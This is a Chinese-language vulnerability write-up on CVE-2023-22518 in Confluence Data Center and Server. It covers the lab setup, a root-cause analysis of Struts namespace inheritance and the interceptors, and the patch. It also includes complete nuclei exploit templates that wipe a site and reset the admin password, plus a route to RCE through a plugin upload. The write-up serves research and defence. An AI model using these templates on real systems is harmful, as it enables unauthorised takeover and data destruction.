0x00 概述
Confluence Data Center and Server 是 Atlassian 公司提供的企业级团队协作和知识管理软件,它旨在帮助团队协同工作、共享知识、记录文档和协作编辑等。经过分析,其 /json/setup-restore 接口存在未授权访问漏洞,攻击者可以通过访问该接口对站点进行恶意恢复,从而导致站点内容被完全替换,以及管理员账号密码的重置。
字段 | 值 | 备注 |
---|---|---|
漏洞编号 | CVE-2023-22518 | |
漏洞厂商 | Atlassian Confluence | |
厂商官网 | https://confluence.atlassian.com/ | |
影响对象类型 | Web应用 | |
影响产品 | Confluence Data Center and Server | |
影响版本 | 除 version>=7.19.16,version >= 8.3.4,version >=8.4.4,version>=8.5.3,version>=8.6.1 之外的所有版本 | |
0x01 漏洞影响
All versions of Confluence Data Center and Server are affected by this vulnerability. This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a Confluence instance administrator account.
官方通告说的是影响所有版本,换而言之,只有版本为 version>=7.19.16,version >= 8.3.4,version >=8.4.4,version>=8.5.3,version>=8.6.1 的不受影响,其他都受影响。
0x02 漏洞环境
docker启动环境
docker-compose 启动 8.6.0
version: '2'
services:
web:
image: atlassian/confluence-server:8.6.0
ports:
- "8090:8090"
- "5005:5005"
depends_on:
- db
db:
image: postgres:15.4-alpine
environment:
- POSTGRES_PASSWORD=postgres
- POSTGRES_DB=confluence
配置调试环境
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
上容器中修改 /opt/atlassian/confluence/bin/setenv.sh文件,加 jvm 参数,然后重启web容器:
CATALINA_OPTS="${CATALINA_OPTS} -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"
在idea中加入 confluence 8.6.0依赖,下断点,访问任意路由:
0x03 漏洞验证和利用
nuclei运行poc:
nuclei.exe -t .\confluence-json-setup-restore-restore-system.yaml -u http://192.168.88.132:8090/ -p http://127.0.0.1:8088 -timeout 30
打完之后,目标站点被完全替换成一个空的confluence:
管理员账号密码改为 admin:hello
0x04 漏洞分析
主要分析几点
- 为什么访问 /json/setup-restore.action 相当于访问 /setup/setup-restore.action
- 为什么访问/json/setup-restore.action不需要登录,即为什么能未授权访问
- 能未授权访问 /json/setup-restore.action之后该如何利用,怎么构造poc,怎么实现rce
/setup
下的 action通过 /json
都能访问
开始调试 /json/setup-restore.action
参考:https://evilpan.com/2023/11/01/struts2-internal/#debugging-tips
发包:
nuclei.exe -t json-setup-restore-pure-post.yaml -u http://192.168.88.132:8090
id: json-setup-restore-pure-post
info:
name: 发包,调试用
author: inhann
severity: high
description: 调试
http:
- raw:
- |+
POST /json/setup-restore.action HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate
unsafe: false
cookie-reuse: false
matchers-condition: or
在 com.opensymphony.xwork2.config.impl.DefaultConfiguration
的 findActionConfigInNamespace()
下断点:
通过 this.namespaceActionConfigs.get(namespace);
得到一个 namespace 对应的所有 action ,其中 namespace 为 /json
的 action 有213 个:
其中就包括 setup-restore
,因而访问 /json/setup-restore.action
的时候,对应的就是调用 com.atlassian.confluence.importexport.actions.SetupRestoreAction
这个action :
因而接下来需要调试 this.namespaceActionConfigs
是如何构建的
this.namespaceActionConfigs
是如何构建的
经过调试,大概能确定这个 this.namespaceActionConfigs
是在应用启动的时候就创建完成了,应该是根据 struts.xml
文件构建的:
为了调试这个过程,可以在运行 docker-compose restart
之后快速点击debug :
测试一下这个断点的位置 /json
这个namespace 里面有没有想要的action :
namespaceActionConfigs.get("/json").get("setup-restore")
可以看到是有的:
因而顺着调用栈往上找,寻找 namespaceActionConfigs
构建的位置,断在 com.opensymphony.xwork2.config.impl.DefaultConfiguration
的 buildRuntimeConfiguration()
:
当前方法内,this.packageContexts
中包含着来自 package 为 json
的 action 的相关信息,但是从中可以看到,在当前位置 namespace 为 json
的 action 是不包含 setup-restore
的:
this.packageContexts.get("json").getActionConfigs()
而紧接其后,调用了 packageConfig.getAllActionConfigs()
,这个 调用返回了211 个 action ,和 packageConfig.getActionConfigs()
只返回了 26 个action 产生了鲜明的对比,而最终进入 namespaceActionConfigs
的 action 就包括来自 packageConfig.getAllActionConfigs()
所返回的 action :
因而,调试了解packageConfig.getAllActionConfigs()
是如何搜寻action的就很重要
packageConfig.getAllActionConfigs()
是如何搜寻action的
进行调试:
跟进这个 getAllActionConfigs()
,可以看到调用了 parent.getAllActionConfigs()
,也就是说除了自身定义的action,一个namespace对应的action还会来自其 parent
,在这里 /json
的 parent 是 /admin
,而 /admin
的 parent 是 /setup
,来自 /admin
的 all actions 有185个:
而 package 之间的继承关系,写在 struts.xml
当中,因为一个 packge 往往对应一个 namespace ,因而可以认为 namespace 之间的继承关系写在 struts.xml 中:
如果要调试如何从 xml 中读取信息构造 packageContext ,可以把断点下在com.opensymphony.xwork2.config.impl.DefaultConfiguration
的 addPackageConfig()
方法:
小结
从上面的分析可以得出结论,一个namespace对应的action存在继承关系,/json
这个 namespace 继承自 /admin
,而 /admin
又继承自 /setup
,这就导致了 /admin
和 /setup
两个 namespace 下的所有 action 都能通过 /json
访问到,其中就包括 /setup
中的 setup-restore
这个 action ,这个action对应的类是 com.atlassian.confluence.importexport.actions.SetupRestoreAction
:
不用登录就能访问 /json/setup-restore.action
开始调试
为了调试这个过程,需要发另外的包:
nuclei.exe -t debug2.yaml -u http://192.168.88.132:8090
id: confluence-json-setup-restore-restore-system
info:
name: 先post访问,拿到一个atl_toke,然后上传备份文件
author: inhann
severity: high
description:
调试用
http:
- raw:
- |+
POST /json/setup-restore.action HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate
- |-
POST /json/setup-restore.action?synchronous=true HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------27641609229217972931431641635
Content-Length: 572586
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------27641609229217972931431641635
Content-Disposition: form-data; name="atl_token"
{{token}}
-----------------------------27641609229217972931431641635
Content-Disposition: form-data; name="buildIndex"
true
-----------------------------27641609229217972931431641635
Content-Disposition: form-data; name="file"; filename="xmlexport.zip"
Content-Type: application/x-zip-compressed
zipcontent
-----------------------------27641609229217972931431641635
Content-Disposition: form-data; name="edit"
Upload and import
-----------------------------27641609229217972931431641635--
unsafe: false
cookie-reuse: true
matchers-condition: or
matchers:
- type: status
status:
- 302
condition: or
extractors:
- type: regex
name: token
part: body_1
regex:
- name="atl_token" value="(.*)">
group: 1
internal: true
参考 https://xz.aliyun.com/t/12981 和 https://evilpan.com/2023/11/01/struts2-internal/
执行 action 的起点,可以认为是 org.apache.struts2.dispatcher.filter.StrutsExecuteFilter
的 doFilter()
方法:
随后会触发 com.opensymphony.xwork2.DefaultActionInvocation
的 invoke()
,在其中尝试遍历 this.interceptors
这个 iterator 里面的所有 interceptor ,调用其 intercept()
方法,而 this
作为参数传入了这个 intercept()
方法当中:
一般情况下,在一个 interceptor 的 intercept()
方法当中,对于调用者传入的参数,这个参数往往是一个 ActionInvokation
,往往会继续调用其 invoke()
方法,比如:
这样往往使得调用栈会格外的长,一个 interceptor A 的 intercept()
可能出现在 interceptor B 的 intercept()
的底下,但是实际上 interceptor A 的 intercept()
的主要功能已经执行完毕,从调用栈也能看出 interceptor 的执行顺序,也可以将断点断在 com.opensymphony.xwork2.DefaultActionInvocation
的 createInterceptors()
查看 interceptor 的执行顺序:
所有 interceptor 如下:
[profiling] => [com.atlassian.xwork.interceptors.XWorkProfilingInterceptor]
[securityHeaders] => [com.atlassian.confluence.security.interceptors.SecurityHeadersInterceptor]
[setupIncomplete] => [com.atlassian.confluence.xwork.SetupIncompleteInterceptor]
[transaction] => [com.atlassian.confluence.setup.struts.ConfluenceXWorkTransactionInterceptor]
[params] => [com.atlassian.xwork.interceptors.SafeParametersInterceptor]
[autowire] => [com.atlassian.confluence.core.ConfluenceAutowireInterceptor]
[lastModified] => [com.atlassian.confluence.core.actions.LastModifiedInterceptor]
[servlet] => [org.apache.struts2.interceptor.ServletConfigInterceptor]
[flashScope] => [com.atlassian.confluence.xwork.FlashScopeInterceptor]
[confluenceAccess] => [com.atlassian.confluence.security.interceptors.ConfluenceAccessInterceptor]
[spaceAware] => [com.atlassian.confluence.spaces.actions.SpaceAwareInterceptor]
[pageAware] => [com.atlassian.confluence.pages.actions.PageAwareInterceptor]
[commentAware] => [com.atlassian.confluence.pages.actions.CommentAwareInterceptor]
[userAware] => [com.atlassian.confluence.user.actions.UserAwareInterceptor]
[prepare] => [com.opensymphony.xwork2.interceptor.PrepareInterceptor]
[bootstrapAware] => [com.atlassian.confluence.setup.struts.BootstrapAwareInterceptor]
[permissions] => [com.atlassian.confluence.security.actions.PermissionCheckInterceptor]
[themeContext] => [com.atlassian.confluence.themes.ThemeContextInterceptor]
[webSudo] => [com.atlassian.confluence.security.websudo.WebSudoInterceptor]
[httpMethodValidator] => [com.atlassian.confluence.xwork.HttpMethodValidationInterceptor]
[cancel] => [com.atlassian.confluence.core.CancellingInterceptor]
[loggingContext] => [com.atlassian.confluence.util.LoggingContextInterceptor]
[eventPublisher] => [com.atlassian.confluence.event.EventPublisherInterceptor]
[messageHolder] => [com.atlassian.confluence.validation.MessageHolderInterceptor]
[httpRequestStats] => [com.atlassian.confluence.xwork.HttpRequestStatsInterceptor]
[licenseChecker] => [com.atlassian.confluence.core.ConfluenceLicenseInterceptor]
[xsrfToken] => [com.atlassian.confluence.xwork.ConfluenceXsrfTokenInterceptor]
[profiling] => [com.atlassian.xwork.interceptors.XWorkProfilingInterceptor]
[captcha] => [com.atlassian.confluence.security.interceptors.CaptchaInterceptor]
[validator] => [com.opensymphony.xwork2.validator.ValidationInterceptor]
[workflow] => [com.atlassian.confluence.core.ConfluenceWorkflowInterceptor]
[profiling] => [com.atlassian.xwork.interceptors.XWorkProfilingInterceptor]
而其中的一些,会通过调用 actionInvocation.getAction()
获取本次请求所对应的 action 对象,然后判断当前对这个 action 的请求是否合法
做这样鉴权工作的 interceptor 主要有以下几个:
在 Confluence 中,一个 Action 有两个重要的父类
com.atlassian.confluence.core.ConfluenceActionSupport
和com.atlassian.confluence.core.ActionSupport
其中定义了一些confluence中的action比较特别的接口
com.atlassian.confluence.security.interceptors.ConfluenceAccessInterceptor
com.atlassian.confluence.security.actions.PermissionCheckInterceptor
com.atlassian.confluence.security.websudo.WebSudoInterceptor
com.opensymphony.xwork2.validator.ValidationInterceptor
调试 ConfluenceAccessInterceptor
跟入,返回true:
调试 PermissionCheckInterceptor
调用了 action 的 isPermitted()
来判断是否合法:
这个
isPermitted()
重载自com.atlassian.confluence.core.ConfluenceActionSupport
而对于 SetupRestoreAction
而言,直接返回 true :
调试 WebSudoInterceptor
调试其 intercept()
方法,
来到 webSudoManager.matches(requestURI, actionClass, actionMethod)
对一些 管理员相关操作做校验,跟入其中,可以看到先会判断访问的路由是否以 /admin/
开头:
public boolean matches(String requestURI, Class<?> actionClass, Method method) {
if (requestURI.startsWith("/authenticate.action")) {
return false;
} else {
boolean isAdmin = requestURI.startsWith("/admin/");
if (isAdmin) {
return method.getAnnotation(WebSudoNotRequired.class) == null && actionClass.getAnnotation(WebSudoNotRequired.class) == null && actionClass.getPackage().getAnnotation(WebSudoNotRequired.class) == null;
} else {
return method.getAnnotation(WebSudoRequired.class) != null || actionClass.getAnnotation(WebSudoRequired.class) != null || actionClass.getPackage().getAnnotation(WebSudoRequired.class) != null;
}
}
}
这个路由来自于 request.getServletPath()
:
然后会判断所访问的 action 的 execute()
方法、action 对应的类、action对应的package,带不带 @WebSudoNotRequired
或者 @WebSudoRequired
调试 ValidationInterceptor
会调用 action 的 validate()
方法:
而对于 SetupRestoreAction
而言,主要是判断一下传上来的zip是不是符合一定的格式,有没有一些必要的项:
com.atlassian.confluence.importexport.impl.UnexpectedImportZipFileContents: The zip file did not contain an entry 'exportDescriptor.properties'. It did not contain any files, or was not a valid zip file.s
小结
所访问的 /json/setup-restore.action
不受 interceptor 鉴权的影响
poc 构造
POST 请求访问 /json/setup-restore.action
接口:
点击浏览,随便选择一个 zip 文件,然后点击上传并导入,查看一下流量:
POST /json/setup-restore.action?synchronous=false HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------27641609229217972931431641635
Content-Length: 572586
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------27641609229217972931431641635
Content-Disposition: form-data; name="atl_token"
{{token}}
-----------------------------27641609229217972931431641635
Content-Disposition: form-data; name="buildIndex"
true
-----------------------------27641609229217972931431641635
Content-Disposition: form-data; name="file"; filename="xmlexport.zip"
Content-Type: application/x-zip-compressed
zipcontent
-----------------------------27641609229217972931431641635
Content-Disposition: form-data; name="edit"
Upload and import
-----------------------------27641609229217972931431641635--
因而需要想办法构造用于恢复的zip
构造 zip
zip 的结构有一定要求,需要满足 com.atlassian.confluence.importexport.actions.SetupRestoreAction
的 validate()
:
这里的思路是从这个 ExportScope.ALL
出发,寻找引用了这个常量的方法,特别是用于 setExportScope()
之类的操作,最终确定在哪个action 中可以构造一个 exportScope 是 ExportScope.ALL
的zip
具体实现步骤是先直接反编译confluence 的代码(核心代码在 \atlassian-confluence-8.6.0\confluence\WEB-INF\lib\com.atlassian.confluence_confluence-8.6.0.jar
),然后直接搜 ExportScope.ALL
:
确定可疑的方法:
com.atlassian.confluence.DefaultExportContext.importexport.getXmlBackupInstance()
最终确定从 com.atlassian.confluence.importexport.actions.BackupAction
的 execute()
出发,可以构造一个满足条件的 zip :
然后访问 /json/backup.action
(这个action需要登录admin):
点击 导出:
然后 用 docker cp 命令把 创建的 zip 拿出来就可以了
构造exp
在构造exp的时候发现需要传一个 atl_token
否则没法成功利用,所以先访问 /json/setup-restore.action
获取一个 atl_token
然后利用:
id: confluence-json-setup-restore-restore-system
info:
name: 先post访问,拿到一个atl_toke,然后直接上传备份文件,账号为admin,密码为hello
author: inhann
severity: high
description:
主要用到了struts2的路由特性,刚好/json能等同于/setup,访问/json/setup-restore相当于访问/setup/setup-restore,而且不用登录
http:
- raw:
- |+
POST /json/setup-restore.action HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate
- |-
POST /json/setup-restore.action?synchronous=true HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------27641609229217972931431641635
Content-Length: 572586
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------27641609229217972931431641635
Content-Disposition: form-data; name="atl_token"
{{token}}
-----------------------------27641609229217972931431641635
Content-Disposition: form-data; name="buildIndex"
true
-----------------------------27641609229217972931431641635
Content-Disposition: form-data; name="file"; filename="xmlexport.zip"
Content-Type: application/x-zip-compressed
{{base64_decode("zipcontent")}}
-----------------------------27641609229217972931431641635
Content-Disposition: form-data; name="edit"
Upload and import
-----------------------------27641609229217972931431641635--
unsafe: false
cookie-reuse: true
matchers-condition: or
matchers:
- type: status
status:
- 302
condition: or
extractors:
- type: regex
name: token
part: body_1
regex:
- name="atl_token" value="(.*)">
group: 1
internal: true
因为restore的过程可能需要10~20秒左右,所以设置一个 timeout 在 30 秒以内收到 response 就可以(如果不加的话nuclei默认的timeout是10秒):
nuclei.exe -t .\confluence-json-setup-restore-restore-system.yaml -u http://192.168.88.132:8090/ -p http://127.0.0.1:8088 -timeout 30
RCE
成功替换目标站点之后,可以访问管理员后台:
点击管理应用,上传应用:https://github.com/AIex-3/confluence-hack
安装完之后点击开始跳转:
0x05 漏洞修复
Confluence 每次升级之后,jar包的名字可能会改,主要的更改之处在于jar包末尾的版本号,为了 diff 方便,可以把两个版本 confluence 的所有 jar 包的版本号都去了,然后直接拖到 idea 里面做对比:
import os
import re
def rename_files(directory):
for root, dirs, files in os.walk(directory):
for file in files:
if file.endswith('.jar'):
new_name = re.sub(r'[_-][\d.]*\.jar', '.jar', file)
old_file = os.path.join(root, file)
new_file = os.path.join(root, new_name)
os.rename(old_file, new_file) # rename the file
# Specify your directory here
directory = r"atlassian-confluence-8.6.1"
rename_files(directory)
可以看到,修复方式是给 SetupRestoreAction
加了两个 annotation @WebSudoRequired
和 @SystemAdminOnly
,这样一来,在 WebSudoInterceptor
鉴权的时候,就会要求管理员登录: